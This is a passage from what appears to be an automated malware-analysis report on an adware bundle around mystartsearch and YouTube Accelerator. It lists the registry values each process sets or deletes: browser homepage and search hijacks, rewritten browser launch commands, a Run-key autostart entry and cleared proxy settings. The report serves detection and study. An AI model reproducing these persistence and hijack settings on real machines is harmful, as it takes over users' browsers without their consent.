"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstall"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smt＀ƥ"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearch뼀˖ƥ"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423886436&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe܀"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process YTAHelper.exe:2052 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B1 1A 12 6F 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"YTAHEXELOCATION" = "%Program Files% (x86)\YTAHelper"
"Version" = "1.5.0.196"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process %original file name%.exe:3512 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process ProtectWindowsManager.exe:3332 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:2040 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ins_postInst.exe:2508 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "CD 26 C6 6C 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "B1 1A 12 6F 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "B1 1A 12 6F 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:4876 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process ProtectService.exe:4896 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process YouTubeAccelerator.exe:1800 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "87 AB 1C 7B 0A 48 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "3C 1A 16 7F 0A 48 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423886309"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "3C 1A 16 7F 0A 48 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:3288 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "94 BD D5 75 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "06 F8 86 77 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "06 F8 86 77 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3544 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "8C 77 06 4B 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "8C 77 06 4B 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "8C 77 06 4B 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3924 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B1 1A 12 6F 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

